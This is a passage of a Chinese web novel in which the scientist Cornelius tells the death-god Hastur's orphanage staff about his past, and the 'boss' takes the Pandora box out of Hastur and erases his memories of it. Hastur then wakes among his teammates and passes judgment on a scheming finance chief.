这一刻,芬尼安的脑海中也流淌过与哈斯塔一样的怀疑,甚至解开了曾经遗留下的一点点小疑问——关于他当初重伤躺进孤儿院,为什么能那么快痊愈,没过一两天就能下床去扫荡据点火拼的。什么药剂能有这么惊人的疗效?
他哑然半晌,脑子有点停摆:“……但,为什么??”
G8273作为旁观者,思路更加清晰:“现在的重点应该是接下来该怎么做吧?抓住他审问?配合他演戏?”
“先配合他。”哈斯塔当先起身,大步走出还闹哄哄的分署。
康内琉斯都已经自送上门了,克拉克还有什么价值?是去是留,是死是活都无所谓了。
“就照他说的,他想见死神,就让他见一见死神。”
第55章 第 55 章 他会全然忘却这数月来每……
回程的路上, 谁都有没说话。
康内琉斯的到访就像是一场游戏的终章终于拉开了序幕,开头愈是平和,就越令人有种山雨欲来的压力感。
芬尼安脸色糟糕地擦拭着随身的手枪, 悬浮车在孤儿院后院上空停下时,他“咔”地一声拉开保险栓, 为手枪上膛:“先问他能不能治好胡斯卢。”
哈利之湖边。
康内琉斯还在沿着湖案缓慢行走, 用研究性的目光仔细观察那些材质古怪的黑礁、不知掺了什么杂质,表面看起来全然不透光的湖水,生长在浅滩处的苔藓也不是他知晓的品种里的任何一个。
正蹲下身,准备仔细观察苔藓的细节。
“咚——”
一记钟声。
一记丧钟声。
世间的一切声音、温度、颜色,都在这一声钟鸣中褪色、远去。
眼前天旋地转, 他在天地颠倒间, 看见细微的尘埃在东方熹微的晨光中浮动,每一粒尘埃都在这令生命归于寂静的丧钟声中驯服地震颤。
下一瞬,他被拽入亡者的国度。
黑白着色的灰烬之城, 高高悬挂的黑色太阳,那些高耸的尖塔下行走着大量的亡魂,他差点被淹没于这片亡魂的洋流中。
哈斯塔不得不亲手把康内琉斯打捞起来, 放进城中央的神祇宫殿:“诉说你的来意。”
他其实有点尴尬:几小时前, 他刚得到卡尔克萨, 没想到一进来城里拥挤成这样, 感觉他在卡尔克萨里也得招点员工了。
但这掩饰尴尬的命令在康内琉斯的感知中, 却是周围空气的细微震动,如同寂静本身正向他发问:
[说出你的来意。]
康内琉斯的神情从抗拒到犹豫动摇,最终还是微微低头以示敬意:
“我想寻找一个人。亚当·E·温斯顿,生于72年前1月1日,死于……”
他再次犹豫了一下:“如果他去世了的话, 应该死于AF56年的存在之战,或者在那之后。”
“但我在AF54年将他改造成了仿生人,我不确定他是否还算……总之,我希望知道他现在是否还活着。”
在康内琉斯视野的死角,G8273正带着芬尼安等几个员工进入卡尔萨克,鸟妈妈领着小鸡崽似的在塔楼后排排坐下。
屁股刚挨上石阶,就听见这么一句,低头跟在最后的阿道夫霎时站立而起,在原地僵直三秒,如同被激怒的野兽般凶悍地扑向毫无防备的康内琉斯:“你杀了我的家人!!”
没人听阿道夫如此大声、如此暴怒地嘶吼过,仿佛封存了将近一个世纪的伤疤再次揭开,露出不是长好的新肉,而是随着时间愈发腐烂的脓血。
阿道夫一拳砸在康内琉斯的脸上,即便康内琉斯条件反射地匆匆躲开,依旧被蹭到耳朵,耳朵连接着头部的软肉霎时被撕开一条深深的血缝:“呃——”
原本还对康内琉斯态度矛盾且愤恨的芬尼安不得不冲出来,从背后用力架住还想当头砸第二拳的阿道夫:
“你给我冷静点!!想报仇什么时候都可以,但你现在把他的脑袋砸坏,谁能保证他的亡魂不受影响?!谁能保证还能问出研究所在哪?我的父母、凯西的父母,那些失踪的人,可能都在研究所里!”
“嘶……”被扑倒的康内琉斯捂着半边耳朵,表情很臭地从地上撑坐起身,“什么研究所?等等,为什么这些活人也在——哦,阿道夫。好久不——呃!”
阿道夫霎时又扑了过去,差点一把扯烂康内琉斯的真脸。
得亏艾德也跟着冲了出来,才拦住暴怒之下的阿道夫,康内琉斯仅仅只是又摔倒在地,狼狈地将脸上的易容扯开。
意外又不那么意外的,苍老面具下展露出的是一张大概二三十岁上下的面孔。
康内琉斯并没有做任何的义体改造,因此他的身形看起来毫无力量感可言,是相当典型的斯文学者的体态。
哈斯塔看看眼前这乱成一团、威慑力已经荡然无存的现场一个头两个大,不得不临时变更计划,索性切换出人类形态冲着艾德点了点下巴:“你想要见F2116?这就是F2116。”
同事们的阻劝很难让阿道夫积郁了七十余年的仇恨冷却下来,他被芬尼安和艾德按着,依旧赤红着湿漉的眼睛紧盯着康内琉斯:“你怎么能——为什么——”
康内琉斯的目光在艾德身上打转,顺口搭话:“你是指哪一件事?炸毁你家乡的导弹?”
“那不是用来投入战斗的,是米迦勒和政府私自达成合约,将本该用于开辟虫洞的工具,用在了杀人上。”
“……什么?”阿道夫的大脑因仇恨和愤怒,反应有些迟缓。
康内琉斯审视艾德的表情越发不满,甚至还带上了点不耐:“我说,那枚导弹不是用来炸毁某个地方,而是用来开辟某条通道的。”
他短暂地挪开视线,蓝得近乎虚假,带着冰冷剔透的宝石质感的眼睛严厉地扫向阿道夫:
“你必须清楚一点,我是做研究的学者,不是卖武器的商人,也不是买武器的政府。我做的所有研究,都是为了同一个目的——跨越宇宙罅隙。”
“但如果有人拿那些东西做了别的用处——”
他顿了一下,大概是意识到自己的话对于阿道夫来说过于残忍,即便他说的都是事实,于是语气还是放缓了下去:
“我很抱歉。”
“我不知道还有什么别的办法能够弥补你受到的伤害,所以那天在病床上知晓你的身份,我告诉了你如何摧毁那种导弹,又给你注射了药水——”
“你把我制作成了承载你实验成果的容器!”阿道夫粗暴地打断康内琉斯的解释,“米迦勒之翼将我囚禁在实验室里那么久——”
“我做了一件蠢事。”康内琉斯看着阿道夫,“存在之战前的我都很愚蠢。”
“我认为自己拥有超脱凡俗的智慧、能够触碰科学极限的能力,我认为自己能够开辟通向其他世界的道路,能够如同上帝创造亚当夏娃一样创生。”
“我认为我足以运用科学的力量,与神明比肩。”
“所以我从不把世间任何人情世故放在眼里。也没去过想给你的这份‘补偿’,是否会招来更糟糕的待遇。”
康内琉斯剖析自己,也如同剖析载玻片上的切片。
“一直到我创生出的那些孩子一夜之间被屠杀殆尽,我才意识到,并不是持着科学的圣剑一味向前就够了。”
他低声道:“‘没有人是自成一体、与世隔绝的孤岛。’”
康内琉斯看向哈斯塔:“所以前段时间我关注孤儿院的新闻,觉得孤儿院的舆论策略颇为高明。”
“你们并不倾向于将自己与世界孤立开,而是设法成为融入其中的一份子。”
“譬如之前,你们反应很快地将本会遭到所有人敌视的邪神身份,澄清为人们更愿意接受——或者说人人都得打交道,没法不接受的死神。还有军火——”
“你们在用所有人更能够接受的方式来和这个世界交互,不论是谁提出的这两个建议,我都觉得ta必然拥有老辣与人相处的智慧。”
哈斯塔:“……”
嗯——老板确实可以用“老辣”这个词形容,但是阿尔法就……
阿道夫面无表情地道:“死神的舆论公关是我的养女做的。她今年7岁。”
康内琉斯并不因阿道夫的拆台而愤怒:“年龄并不是衡量能力的标准。我希望自己在70年前也拥有这样的智慧。”
他顿了一下,又重复道:“我很抱歉,阿道夫。”
“……”阿道夫一时说不出话。
他胸口中的情绪处于一个很矛盾的状态,既难以对家人之死释怀,又觉得康内琉斯的话没错。
有人拿刀杀人,总不能责怪铁匠把刀造出来吧?
哈斯塔却还记得之前老雷蒙德的话:“但有人说,你曾经用婴儿实验毒.品,后来又拿他做改……”
等等。老雷蒙德在70多年前的见闻,生于72年前但活到现在的亚当·温斯顿……这个婴儿,该不会就是艾德吧?!
“什么毒.品?”康内琉斯的脸上露出相当浓重的厌恶,“我为什么要研究这种无意义、甚至会摧毁脑细胞的东西?倒是你说改造……我经手过的婴儿改造就只有亚当一个。”
艾德眼睛眨也不眨地看着康内琉斯,就像当初的哈斯塔渴望知晓自己的起源。
但出乎哈斯塔意料的是,艾德即便渴求真相,依旧鼓起勇气坚定地反驳自己的创造者:“我现在叫艾德。艾德纽蒙·奥博枢蒙。”
康内琉斯毫无滞涩地理解了这个拗口的词汇:“拉丁文的‘沙漠玫瑰’?是个好名字。也许它更适合陪伴你走向未来的路。”
这话似乎暗喻着什么,康内琉斯很快解开答案:
“亚当——请允许我在叙述过去的时候使用这个名字——亚当是被米迦勒之翼的老板,温特·葛文送进我的研究所的。”
“他的父母背上了大笔负债,又曾经得罪过温特·葛文,葛文为了落井下石,对这对夫妻说只要他们愿意出卖宝贝儿子,自己就可以为他们平掉所有负债。”
“……”哈斯塔忽然觉得“亚当这名字是康内琉斯取的,且具有宗教含义和期待”这种猜测美好多了。
他伸手按住艾德的肩膀,希望能借此提供些许微薄的安慰,芬尼安和阿道夫也靠近过来。
但出乎大家意料的是,艾德并没有因为伤心而颤抖,甚至他总是容易眼泪汪汪的眼中也并没有含泪。
“父母”这个词汇对于艾德来说还是太遥远了,甚至不如创造者来得更近,一对遥远的名词如何对待从前的小亚当,对于72年后的艾德造不成任何情绪上的影响。
康内琉斯接着道:
“这就是小亚当出现在我研究所,且满身伤痕的原因。”
“对于温特·葛文来说,一个不属于自己的孩子根本没有任何用处,他只恼怒于这个毫无用处的孩子竟然换走了他的大笔资金。”
因此,那时的康内琉斯如果不接受这个“实验体”,那小亚当被葛文带回去,或许根本活不过两个小时。
康内琉斯平淡地道:“亚当受得伤太重,绝大多数都是葛文用皮鞋尖踢踹、手杖抽打造成的。”
“如果你们抱过婴儿,就该知道这个年龄阶段的人类有多脆弱。”
“亚当当时已经处于濒死的状态,而且不幸的是,以那时的技术,就连最基础的义体也仅仅处于勉强能用状态,根本不足以更替亚当破损的内脏。”
康内琉斯停顿了一下:“所幸,我当时为了给跨越宇宙罅隙做准备,已经在研究高治疗效率的药水。”
“但亚当对这种药水排异反应严重……我花费了不少功夫调整药效,最终还是以机械与药剂双管齐下的方式,才勉强保住亚当的性命。”
不久之后,终末之战爆发。当初他为小亚当钻研的义体技术,没想到又实用到了战损士兵们的身上。
但那时他的技术依旧不算先进,特效药剂又造价不菲,米迦勒之翼根本不同意大批量制作……至少不能制作来救那些兜里没钱的老兵。
康内琉斯即便手头握有技术,依旧巧妇难为无米之炊。
G8273悠悠道:“所以……当初你在阿道夫的病房外和米迦勒之翼的高层起冲突,是因为米迦勒之翼不同意注资制药?这么高尚?”
康内琉斯有些厌烦疲倦地捏了下鼻梁:“和高尚无关。”
“我那时并不是出于对士兵的关怀同情而争吵的,只是觉得匪夷所思——我认为科技的发展、创造的成果,都是为了令世界更加先进,让人类更加进步。”
“既然有更好的技术,米迦勒之翼理应推广,为什么却要固守落后的技术?”
抱着这样的恼怒,康内琉斯跳槽去了综合公司。本想借机推广药剂,结果人还没进研究所,就被拉进“欢迎会”。
看着当时的公司高层们左拥右抱一堆男女,他就意识到综合公司和米迦勒之翼本质上并无不同。
“没有办法劝说这些贪图享乐、唯利是图的人投资药剂,我只能尝试改进义体的制造技术。”
这本来也契合他的研究方向——毕竟想要跨越宇宙罅隙,单凭人体和药剂是远远不够的,
因此在那段时间,他大量研究了各种用于应对极限环境的辅助装备(但事后证明,公司只将这些创造视为武器)、义体改造技术。
从A到F每一代仿生人的问世,实际上都象征着他技术的精进。
众人半信半疑地听着,但警戒和敌意的确比一开始消弭许多。
芬尼安心情复杂地问:“照你的意思,你肯定也跟沙漠里的那座移动研究所无关了?”
“?”康内琉斯放下捂着耳朵的手,那道撕裂伤已经痊愈了,“什么研究所?亚当失踪,这些年我的注意力都在寻找他身上。”
艾德很想感动,但是比起人类亚当的身份,他更认可F2116的身份,更忘不掉那些为他而死的两千多个同类:“所以……你只在意人类的亚当吗?其他的F系仿生人——”
康内琉斯奇怪地看了艾德一眼,那眼神仿佛在谴责“你问的什么蠢问题”似的:“我当然带走了他们的意识,不然你以为我为什么当晚就连夜逃出公司?”
“……?!”艾德紧锁的眉宇倏然舒展开,“他们没——”
之前听康内琉斯说他的父母如何出卖自己,他都没怎么有情绪波动,但听到现在这一句,他简直要呼吸不过来了:“真的?!你、你不要骗我!”
康内琉斯看起来有些无语:“你是我一手养大的孩子,我可以为你面见死神,我为什么要欺骗你?倒是你。”
康内琉斯严厉地注视艾德:“你的脸是怎么回事?手臂是怎么回事?脖颈更换的是什么元件?为什么你穿着一身黑不溜秋的衣服,为什么你完全不记得我?你当初是怎么逃脱工厂的?自毁吗?”
“…………”艾德在康内琉斯疾风骤雨般的责问下情不自禁地缩起了脖子。
哈斯塔不得不出声打断即将往家庭教育片发展的对话:“你说的这些的确合情合理,但没有实证。”
更重要的是,如果康内琉斯不是最终Boss,那游戏背后的人想要的魔盒又在谁手中?
——嗯?等等。哈斯塔忽然反应过来:
照这么想的话,康内琉斯假如撒谎,游戏系统必然会巴不得揭露,那他现在打开手机APP查看一眼康内琉斯的状态,不就能证实对方的立场了?
摸出手机时,他甚至还担心过“卡尔克萨会不会蹭不到孤儿院的无线网啊”,但事实证明即便网络连不到卡尔克萨,依旧不影响APP的使用。
巴掌大的屏幕中,Q版康内琉斯杵在同样Q版的神祇宫殿中,身边列着一排状态:
【状态栏:
—嘴上虽然不说,但心里很为养子仍活着而高兴
—认为艾德日子过得很苦,正暗自责怪无辜的院长,即便他已亲眼见识过洗浴中心
—希望能借由艾德的关系,从黑湖捞走几份样本……天啊,那不是院长的洗澡水吗?里面甚至可能会有些不方便交给科学家的杂质……】
回想起自己和G8273曾在哈利之湖里一夜荒唐的院长:“……”
……罢了,至少状态栏证明了康内琉斯的真诚。
哈斯塔终于彻底放下警戒:“回答我一个问题,康内琉斯。潘多拉魔盒在不在你手里?”
“?”康内琉斯表情怪异地看哈斯塔,“询问我有没有看见你的眼镜之前,你是不是该往自己的头上找找?”
哈斯塔:“……什么?”
康内琉斯看上去想翻白眼,但忍住了。
他举了下双手,以示接下来的动作没有攻击的意图。紧跟着,三只半透明的能量晶块从他的腰带工具匣间漂浮出来,如同被吸引一般,径直飞舞向哈斯塔……的胸膛。
G8273倏地握住了哈斯塔的手臂:“回溯时的波动,果然——”
“——”
怪异的胀涩感,从哈斯塔的后背,贯穿至前胸。
他随着袭击者的力道向前挺起胸膛,视野向上划去时,看见G8273骤然变色的脸,周围员工错愕回视的目光。
意识不受控制地变得模糊,他眨了一下眼,身体轰然倒地时,看见眼前的一切如同关灯般晦暗了下来,又如同电影的开场一般逐渐变亮。
“ahf……”他的口中冒出几句含糊的呓语,竭力睁大双目,正对着行凶者转到他的面前,露出一张稚嫩熟悉的脸。
阿尔法——或者顶着阿尔法的壳子的老板——或者阿尔法从不曾存在,一直都是老板的伪装——周遭环绕着零星的马赛克,以老板的声线平静地对他安抚:
“不必惊慌,你不会受伤。我只是取走了你胸口的那只匣子,那里面藏着一个危险的逃犯。”
哈斯塔试图挣扎着坐起,但四肢就像被抽掉骨头一样无力。
眼皮沉得就像坠了铅,他听见老板耐心地对他解释:“……潘多拉魔盒在你体内,与你共存了21年,骤然被取走,的确会有短暂地不适期,但你很快会恢复,并且摆脱他的操控。”
‘……他?’哈斯塔的思绪像深陷泥潭中的人,仍在勉力前行,但他已没有力量问出口。
老板的声音变得模糊:“这个虚假的游戏。包括你的任务。都是他一手打造出的、用于填充他枯燥囚禁生活的乐趣。”
“睡吧,哈斯塔。当你醒来时,他将已被我送回该呆的牢房,不再能够影响你。”
“你将遗忘任何有关于他、有关于潘多拉魔盒的事宜……”
昏昏沉沉间,哈斯塔听到一声轻如微风的叹息:“我很抱歉。但我必须履行我的责任,即便这得违背你的意愿——闭嘴,███。如果不是你擅自越狱,我本不需要收拾这些额外的烂摊子。”
那种奇怪的、仿佛变成一只空心的容器的错觉,再次裹挟了哈斯塔。
但这一次,他能清楚地感知到那片空虚就在胸口,也能感知到那片空虚周围本被魔盒阻碍的血肉正在迅速生长,逐渐愈合。
但愈合之后呢?
倘若他忘记了有关潘多拉魔盒的所有事宜,他是否还能记起另一个世界中,还有一个属于他的卡尔克萨在等待他?
他想去许许多多未完成的事宜:胡斯卢的病、他许下的救回芬尼安和凯西父母的诺言……
还有G8273。
他还没有告诉G8273他匆匆下线,到底调查到了什么。
老板也会消除G8273的记忆吗?
当他再次醒来时,他会全然忘却这数月来每一晚的记忆吗?
他从未有一刻像现在这样竭尽所能地维持清醒,强撑着登出游戏后,狼狈地从钢铁织成的卧床上滚落,费劲从床下拽出那份Z交给他的档案报告,撕下一处边角,用触须的尖端刻下一行歪斜变形的小字。
无法抵抗的昏沉袭向脑海,他摇晃了一下头颅,将纸片塞进T为他准备的手机防摔套内,爬上卧床,才终于陷入不安的沉睡。
第56章 第 56 章 准备好你的光碟。
哈斯塔做了一个梦。
梦中他置身于一艘豪华的游轮上, 舷窗外是无垠而黑暗的夜海。游轮沉寂又轰鸣地向前驶去,他却在前行中一片茫然。
于是他起身出门,想去问问船长或乘客。
走过第一个房间时, 他看见一辆绝不该在游轮上出现的摩托。第二个房间,舷窗上摆着一只小小的雪鹿。第三个房间, 他瞥见床上的警徽。第四个房间, 一只军用水壶……
他在茫然中心如擂鼓,以越来越快的速度沿着铺满红毯的走廊,一路翻找过这些空无一人的房间,冲进驾驶舱。
“滴……”
空荡的驾驶舱浸在一片忧伤冰冷的蓝光里。
海水的波纹将光折入室内,他僵滞地浸泡在这片没有实感的光影中, 仅仅看见那片满是复杂难懂的仪表的操纵台上, 有绿色的警示灯如风中残烛般闪烁了两下,溘然熄灭。
这是一艘无人的巨轮,正载着仅有的乘客, 驶向不知名的方向。
孤独如同海洋,将哈斯塔独自围困在孤岛上。
他徒劳地继续瞪视警示灯,希望绿光能重新亮起, 告诉他点什么。
他冲回之前那些明明放置了各种东西, 应该有乘客居住的舱房, 却发现那些小盆的沙漠玫瑰、崭新的识字卡片、打开着蓝屏的电脑……就如同他的错觉幻影, 初雪般消融在他第二次冲入房间前, 徒留下一室空荡而令人呼吸困难的蓝色波光。
梦变得令人难以忍受起来。更糟糕的是,他发觉自己在逐渐忘记那些房间里放过什么,很快地,他连“忘记”这种意识也被一并忘却。
舷窗上倒映出哈斯塔面无表情、冷漠的脸。
他穿着一身船长的军装,戴着一顶白色军帽。
他知晓这是一艘无人的巨轮, 正驶向不知名的方向。
孤独便是身下这片海洋,一如既往地将他这艘巨轮独自围困在漫无尽头的旅途上。
过去是这样,现在亦如此,未来也不会改变。
…………
他后来是在低低的絮语声中醒来的:
“……不是我说,老板这次真的太缺德了……”
“那能怎么办?咱们也不可能跳到老板面前指着鼻子大骂?”
“总之我们多照顾——哈斯塔!你醒了?”
刚从“孤独巨轮”的噩梦里醒来就和队友的一张张大脸盘子对上视线,原本茕绕在哈斯塔胸腔中的滞涩胀痛挥散了些许:“我只是睡眠,又不是昏迷……这是什么地方?”
不算很大的员工宿舍里塞满了各种技术宅的最爱,什么电脑配件啦、游戏海报啦、珍藏手办啦……就在哈斯塔的头顶,还悬挂着三把光剑,此时正嚓嚓切换着红蓝黄绿四色的灯光,将所有人的脸都照得像个信号灯。
随着灯光变色的哈斯塔:“……”
队长Z迎着哈斯塔无语的注视尴尬挠脸:“这是T的员工宿舍,基于……嗯……”
他迟疑了一下,愧疚和谎言的气息扑面而来:“基于你之前在任务中意外暴走,我们把你接来这里方便照顾——”
“啊啊啊我受不了了!”
房间的主人突然发出一声暴喝,凶巴巴地一扭胯顶开过于循规蹈矩的队长:“做好准备,哈斯塔。我要跟你说点实话了。”
哈斯塔还是头一回在T脸上看见这么严肃的神情,他道:“实际上,我们一直有事瞒着你。比如我们并不是什么隔壁部门的行动小组,我们其实是老板手下的私人小队。还有你的‘意外暴走’——”
T卡壳了一下,似乎发觉这个事件的复杂程度,不是一两句话就能解释得清楚的,只能尽量精简:
“总之——你可以理解为老板其实还兼职个典狱长。”
“不巧监狱里有个危险的逃犯越狱了,藏身于一个容器中,又藏进你的身体里。老板把那东西取了出来,同时还删掉了你关于那件东西的记忆。”
Z阻拦不及,或者说他其实也心怀内疚,所以阻拦的动作就迟缓了许多,此时带着歉意看哈斯塔:
“具体的内情,我们其实也不太清楚,毕竟保密制度也将我们隔绝在情报之外。”
“但T说得对,你不是在睡眠,其实昏迷了有小半个月。继续放你独自留在H区,很可能会有刺客,所以我们把你接了过来,方便照顾保护。”
围绕着队友们的谎言静风带轻柔地散开了,只剩下担忧、关心、友善等等充满温暖的信号充盈了小小的房间。
哈斯塔在这片温暖中不自觉地放松了神经,但紧跟着一种模糊的熟悉感从胸口倏然掠过,仿佛他曾经也曾体会过与之相似或同样的体验。
T看他的眼神仿佛在看什么脆弱的玻璃或者破碎的蝴蝶。
他比哈斯塔还悲伤地瘪嘴看了几秒,又猛然想起什么似的一拍额头,从旁边抱来一只陌生又好像有点眼熟的全息头盔,放到哈斯塔腿上:
“说是照顾,但我们还是得去工作的。老板给你放了一个月的假,所以你可以继续休息半个月,不如玩点游戏?”
“我记得你这几个月特别爱玩游戏,所以把你捞回来的时候,顺便把你的全息头盔也带来了。无聊的话可以连我的wif玩!”
社畜是这样的,只要不死,就得工作到死。
哈斯塔对游戏毫无印象,根本提不起兴趣,只随手将头盔搁在一边,翻身下床。
队友们顿时七手八脚地想把他摁回床上,T更是疯狂挤眼:
“有没有点请病假的常识?你这会儿要是精神抖擞地在公司露面了,那剩下的半个月假期不泡汤了?拜托,躺在床上带薪玩游戏不好吗?”
哈斯塔没觉得躺在宿舍睡觉玩游戏有什么好的:“我准备去见老板,要求拿回记忆。”
“别了别了,”T双手摇得像雨刮器,显然不觉得这事有成功的可能,“别的事都好说,这种跟囚犯沾边的事,老板是没有半点商榷的余地——而且你现在去,老板也不在啊?他说去送犯人回典狱,送到现在都没回,我都怕他嘎在监——诶呦!”
Z没好气地一巴掌糊在T的后脑勺上:“少乌鸦嘴。”又担忧地看向哈斯塔,“如果你的确很想取回记忆,那等老板一回公司,我就联系你。现在,不如多休息?放这种一个月带薪长假的机会可不多。”
有工作在身,队友们也不能停留太久。很快热闹的房间就重回空荡,徒留哈斯塔和头顶的光剑灯大眼瞪小眼。
他并没有安心享受带薪休假的打算,一方面是因为胸口怪异的难受感,另一方面是他还记得昏迷前自己的计划——
用人类的形态去公司中试探针对“克系神话情报”的封口令是谁下的;用“我已经知道你们是老板的人”来试探队友们身遭的谎言静风带是否消失。
但现在,后一个问题已经有了答案,甚至没需要他亲自试探。前一个问题……
他其实觉得无所谓了。
他躺在床上,注视着头顶的中二周边灯,感觉自己像是被一层厚厚的橡胶包裹住,与这个世界间隔开,所有的感受都钝而沉闷,就仿佛他还没从梦中完全清醒。
曾经他还想过,要在绿朱草的问题上多加谨慎,不能贸然行事,但他现在只想简单粗暴地将这件事情解决。
于是,财务部部长办公室内。
绿朱草刚在一份能够为自己揽来更多权利的文件上签下名字,心脏骤然绞痛,下一刻,他眼前猛然天旋地转,坠入一片漆黑的古老城池中。
“……”他被这突如其来的变动惊吓住了,僵硬在原地,只有眼珠一点点瞟向周围,在看清那些面目模糊的亡魂,与自天际垂下的巨镰时差点一屁股跌坐在地。
他难道是……在工作中猝死了吗?绿朱草不愿相信地想,被亡魂的洋流裹挟着,跌撞向前。
远方,一道巨大的拱门巧合地与断台头拥有相同的造型。
亡魂在经过那道拱门时慢了下来,像在经历某种审判。
绿朱草不受控制地开始回想自己都做过什么错事,倘若经历审判,是否会让那道断头刀砸下来。
但他想:我应该也不算太过罪恶?
他的确说过谎。但在那之前,他已经以“我会说谎”的宣言示人,提前做过预警的谎言怎么能算是谎言?
他也的确害过人。但他从未亲自动手,令人直接致死,最多就是……轻轻推了一把,将那些碍事的人留在不太有利的处境中,那这些人死亡,能算是他的罪孽吗?
不,不能的。是这些人自己能力不足,没法从一点简单的困境下摆脱出来。
就像那个华生博士,但凡会游泳,明明可以很轻松从水池中爬出来的;那个实习生,但凡有勇气在车辆失控时从车上跳出来,就可以躲避身亡的命运。
天际那道垂落下的巨镰忽地缓缓抬起了,引起亡魂们的一阵惶恐推搡。
绿朱草一瞬间恐惧到忘记呼吸地看着那柄镰刀刀尖点向他的额头:
“不……不,一定是弄错了什么,我还没到四十岁,我还很年轻——我、我,”他于某一瞬想起了什么,忙不迭地将自己最大的谈判筹码推上牌桌:
“我监管着一个足以与你对峙的怪物!如果你在这里杀死我,哈斯塔无论如何都会闯入这里,替我复仇!”
“……”哈斯塔伸去戳弄监管者的触须停顿下来。他甚至开始为这场毫无悬念、一上来犯人就自爆罪行的审判感到乏味无趣了,但基于理性,他仍旧将试探的话说完,“你可以用他的命,交换你的命。布鲁诺·卡特,你是否同意这场交易?”
绿朱草甚至在他话音未落时就疯狂点头:“好、可以!反正我也已经升到顶了——”
他忽然注意到什么,眼神在巨镰边隐约垂落的黄布一角上凝固住,包括他伏低做小的动作:“……哈斯塔?你不是死神,你是哈斯塔?!”
“对你而言,这两者有什么区别吗?”
哈斯塔恹恹地在绿朱草面前展露出人形的模样,没觉得绿朱草此时的丑态有多大快人心,也没觉得自己对眼前这个人有多仇恨。
或许是包裹在他身遭的那层橡胶磨钝了他的感受,也或许是他已经意识到,他和绿朱草之间的“感情”从来没有真实过。
很多事其实很早就是有迹可循的,譬如不论绿朱草表现得多么温和可靠,他从未在对方身上体会过任何与队友相同的温暖。
譬如绿朱草对待财政部态度的矛盾性——明明潜意识将财政部视为自己的地盘,为什么还要在他面前表现得像和财政部不是一路人呢?
潜意识最不会说谎,矛盾之所以会存在,不过是因为绿朱草想刻意以这种方式拉近和哈斯塔的关系,给哈斯塔造成“我们俩是一个阵营的,我们得一起对抗整个世界”的错觉。
“你……”绿朱草的声音开始颤抖了,他努力梗直脖子,似乎想以微扬下巴的姿态证明自己的气节,“你从什么时候开始怀疑我的?你要杀死我?因为我利用你?”
“不。”哈斯塔平淡地瞥了一眼绿朱草,就像对方和从他们身边流动过的亡魂们没有任何区别,“我没有杀你。”
“我只是轻轻拽了你一把,将你留在不太有利的处境中。”
他不再看那道无关紧要的身影了,只在完成这道待解决事项后,脱离亡者之都,回归现实。
而现实……流光溢彩。
“……”哈斯塔和头顶的达摩克利斯之剑们对峙了半分钟,在无语和不明来由的焦灼中翻了个身,摸向手机。
他本是想刷刷没营养的网页视频什么的,但甫一上手,就觉得手机反面的厚度不太对。
他困惑地揭开防摔壳,从夹缝中掉落出一张碎纸,纸片上歪歪斜斜地刻着一行字:
[赛博孤儿院模拟器、承诺]
这痕迹,明显是他的触须尾梢留下的。歪歪斜斜,证明当时的他状况相当糟糕,但依旧强撑着要留下提醒。
如果单有一个“赛博孤儿院模拟器”,哈斯塔可能还未必有多在意,只会觉得之前的自己的确被那个囚徒迷惑得不轻,但加上一个“承诺”……事情的性质就完全不同了。
他从未违背过任何承诺,这件事曾经的他自己当然最清楚。
换而言之,过去的他是在仍保有思维能力的情况下,精准地切中未来自己的要害,迫使他不论有没有兴趣、乐不乐意,都得进入这个什么模拟器一探究竟。
他因为自己从过去递来的威胁而不快了几秒,还是伸手戴上被他搁在一旁的全息头盔。
视野霎时一黑,唯一一个已下载游戏在游戏库中孤零零地挂着。
他点入游戏,本想继续游玩……游戏首页却弹出“创建角色”的界面。
哈斯塔:“……?”
怎么回事,他玩了这么多个月的游戏,怎么会没有存档?甚至没有账号?
隐约的焦躁催使他打开GM的窗口:【我的游戏账号呢?被删了?】
GM瞬间发来一串@#¥的乱码,哈斯塔都能想象对面的客服人员在看到他的消息时吓到脸滚键盘的模样:
【我们怎么敢擅自删除您的账号呢?一定是服务器哪里出了问题,请给我们一段时间,我们一定会尽最快的速度,帮您解决这个Bug!在此之前,我们可以为您开放GM破解版,作为补偿?】
哈斯塔没打算为难打工人,不置可否地接过GM账号,在游戏里逛了几圈。
可以不断开阔、切换地区的地图,大量随机孤儿,无数随机员工……琳琅满目的分支的确能让人眼花缭乱,但在哈斯塔看来,也就那样。
说是“提供完全真实体验”,孤儿院的前台甚至都没在做真正的财务报表,也没有被支使来支使去做任何杂事,只是重复地接客、登记、送客。
GM账号让他在孤儿院1级时,就能够开启豪华建设包。将所有内容都一口气同时建筑完毕后,哈斯塔无所事事地晃荡了一会,还是选择了下线。
一个普普通通的人类小游戏罢了,不明白之前他到底有什么好熬夜狂肝的,可能之前他的筑巢欲的确过于旺盛?
他想不明白自己为什么会在这种游戏里作出承诺……或许,这承诺其实是对那个什么囚徒许下的?
他又没了兴致,倒回床上继续跟达摩克利斯之剑们大眼瞪小眼。正想着要不要下床去关灯,手机亮了一下:
【T:心情不好的话,就找虚拟女/男友谈谈恋爱嘛,之前你不是还跟我特意提到一个叫什么‘G8273’的角色?那是你的攻略对象不?】
哈斯塔:“……?”
他不由地又从床上直愣愣地坐了起来,狐疑地盯视字条上的“承诺”二字。
不是,不会吧??难道过去的自己真的在游戏里谈了个虚拟伴侣,甚至还许下承诺……
但这些虚拟伴侣本质上不都是AI?他过去居然……头脑昏聩到和AI谈恋爱??
绝无可能!
与此同时,另一个赛博世界内。
时间倒回到半个月前。
众人刚亲眼目睹哈斯塔闭目倒下,身体眨眼间消失不见。场地上死寂了半秒,下一瞬,G8273和阿道夫几乎同时动了起来。
阿道夫一把将昏迷的养女护在怀里,急声说:“阿尔法是被占据了!你冷静一点!现在的当务之急不是内讧,是想办法找回院长!”
G8273不懂阿道夫怎么会觉得自己会伤害阿尔法的,他顶着一双萤绿的、灼亮到令空气近乎流淌成岩浆的眼睛,语气依旧沉温冷静:“把阿尔法给我,我可以借由她追溯占据她身躯的人。”
“……”这状态也太像反派大开杀戒前的哄骗了。
但阿道夫迟疑了一下,出于对院长的担忧,和对同伴的信任,还是松开了一只手,允许G8273触碰阿尔法,只是右手悄然摸上腰间的枪械。
G8273伸手去接阿尔法——
眼前的时间骤然停顿。
“我要是你,绝对不会去追溯那个人的踪迹。”一道混合的电子音在他身后响起,虽然语气因合成素材的缺乏而平板单调,语速节奏却依旧能透出此人的散漫和游刃有余:
“我好不容易才让他没有注意到你,别这么急着自投罗网啊。”
G8273警觉地回身,看见一道模糊的人形投影。
那人并不高大,最多和康内琉斯差不多体型,可能比康内琉斯更要消瘦点。双腕间垂落着一条粗重的锁链,行动时叮当作响:
“那家伙能一击就令哈斯塔丧失反抗的能力,你就算是再担心,也得做好准备,才能去和他抗衡啊。”
